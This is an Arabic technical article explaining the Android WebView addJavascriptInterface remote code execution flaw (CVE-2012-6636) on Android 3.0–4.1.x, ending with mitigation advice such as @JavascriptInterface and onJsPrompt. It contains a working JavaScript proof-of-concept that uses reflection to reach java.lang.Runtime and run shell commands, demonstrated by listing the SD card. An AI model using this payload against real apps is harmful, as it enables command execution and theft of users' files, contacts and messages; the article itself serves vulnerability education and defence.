
أندرويد 3.0 حتى 4.1.x على أجهزة Disney Mobile وeAccess وKDDI وNTT DOCOMO وSoftBank وغيرها من الأجهزة لا يطبّق فئة WebView بشكل صحيح، مما يسمح للمهاجمين عن بُعد بتنفيذ أساليب عشوائية لكائنات Java أو التسبب في رفض الخدمة (إعادة تشغيل) عبر صفحة ويب مُصمَّمة بعناية، كما يتضح من استخدام أسلوب WebView.addJavascriptInterface، وهي مشكلة ذات صلة بـ CVE-2012-6636.
في كثير من الأحيان نستخدم WebView لعرض صفحة ويب، فعلى سبيل المثال تستخدم العديد من التطبيقات صفحات الويب لتحقيق التحكم من جانب الخادم، وتكون العديد من صفحات النتائج صفحات ويب بدلاً من التنفيذ المحلي، وهذا له مزايا عديدة، مثل عدم الحاجة إلى إصدار نسخة جديدة عند تغيير الواجهة، بل يتم تعديلها مباشرة من جانب الخادم. وعند استخدام صفحة ويب لعرض الواجهة، يكون هناك عادةً تفاعل بشكل أو بآخر مع كود Java، مثل النقر على زر في صفحة الويب، فنحتاج إلى معرفة حدث النقر على الزر، أو يتعين علينا استدعاء طريقة لتنفيذ إجراء ما. لتحقيق هذه التفاعلات، نستخدم عادةً JS، وقد وفرت WebView مثل هذه الطريقة، والاستخدام المحدد هو كما يلي:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
نطلب من WebView تسجيل كائن باسم "jsInterface"، وبعد ذلك يمكن الوصول إلى كائن jsInterface في JS، ويمكن استدعاء بعض طرق الكائن، وفي النهاية يتم استدعاء كود Java، وذلك لتحقيق التفاعل بين JS وكود Java. لنلقِ نظرة معًا على طريقة addJavascriptInterface في وصف موقع Android:
يمكن استخدام هذه الطريقة للسماح لجافا سكريبت بالتحكم في التطبيق المضيف. وهذه ميزة قوية، ولكنها تشكل أيضًا خطرًا أمنيًا للتطبيقات الموجهة إلى مستوى API JELLYBEAN أو أقل، لأن جافا سكريبت يمكنها استخدام الانعكاس (reflection) للوصول إلى الحقول العامة لكائن مُحقن. وقد يؤدي استخدام هذه الطريقة في WebView يحتوي على محتوى غير موثوق إلى تمكين المهاجم من التلاعب بالتطبيق المضيف بطرق غير مقصودة، وتنفيذ كود Java بصلاحيات التطبيق المضيف. يجب توخي الحذر الشديد عند استخدام هذه الطريقة في WebView قد يحتوي على محتوى غير موثوق.
تتفاعل JavaScript مع كائن Java على مؤشر ترابط خاص في الخلفية لهذه WebView. لذلك يلزم توخي الحذر للحفاظ على أمان مؤشر الترابط. لا يمكن الوصول إلى حقول كائن Java.
ببساطة، استخدام addJavascriptInterface قد يؤدي إلى انعدام الأمان، لأن JS قد يحتوي على كود خبيث. هذه هي الثغرة التي نريد التحدث عنها اليوم، فعندما يحتوي JS على كود خبيث، يمكنه فعل أي شيء.
من خلال JavaScript، يمكن لأي شيء الوصول إلى بطاقة SD الخاصة بالجهاز، وحتى معلومات جهات الاتصال والرسائل النصية القصيرة وما إلى ذلك. إنه أمر مقرف.
يضيف WebView كائن JavaScript، ويكون التطبيق الحالي لديه صلاحيات القراءة والكتابة على بطاقة SD، أو: android.permission.WRITE_EXTERNAL_STORAGE
من خلال كائن window في JS، يمكن العثور على طريقة "getClass" للكائن، ثم عبر آلية الانعكاس (reflection) الحصول على كائن Runtime، ثم استدعاء الطريقة الثابتة لتنفيذ بعض الأوامر، مثل الوصول إلى أمر الملفات.
السلسلة النصية التي يتم إرجاعها من تدفق إدخال الأمر المنفذ يمكن من خلالها الحصول على معلومات أسماء الملفات. ثم افعل ما يحلو لك، إنها مخاطرة كبيرة. كود JS الأساسي كما يلي:
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
لإثبات هذه الثغرة، سأقوم بتحميل كود JS خبيث من صفحة ويب محلية، وكود HTML كما يلي:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("Text passed in from the JS!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>Click on the image to the URL to Java code</p>
</p>
<button type="button" onclick="onButtonClick()">Interaction with the Java code</button>
</body>
</html>
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
كود Java كما يلي:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
يجب إضافة الصلاحيات التالية:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
نظام Android 4.2 أو أحدث في Android 4.2 أو أحدث، قامت Google بتعديل التصريح عن الطريقة البعيدة في Java باستخدام @JavascriptInterface، كما في الكود التالي:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
نظام Android 4.2 أو أقل
من الصعب حل هذه المشكلة، بل قد لا يمكن حلها. أولاً وقبل كل شيء، يجب ألا نستدعي طريقة addJavascriptInterface. وفي هذا الصدد، يتمثل الجوهر في معرفة حدث JS هذا الإجراء، فنحن نعلم أن JS يتفاعل مع Java بعدة طرق، مثل prompt و alert، وهذه الإجراءات تقابل طرقًا في WebChromeClient، والفئة المقابلة لـ prompt هي التي تقابل طريقة onJsPrompt، وبيان هذه الطريقة كما يلي:
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
من خلال هذه الطريقة، يمكن لـ JS نقل المعلومات (النصوص) إلى Java، كما يمكن لـ Java الحصول على المعلومات (النصوص) المرسلة إلى JS.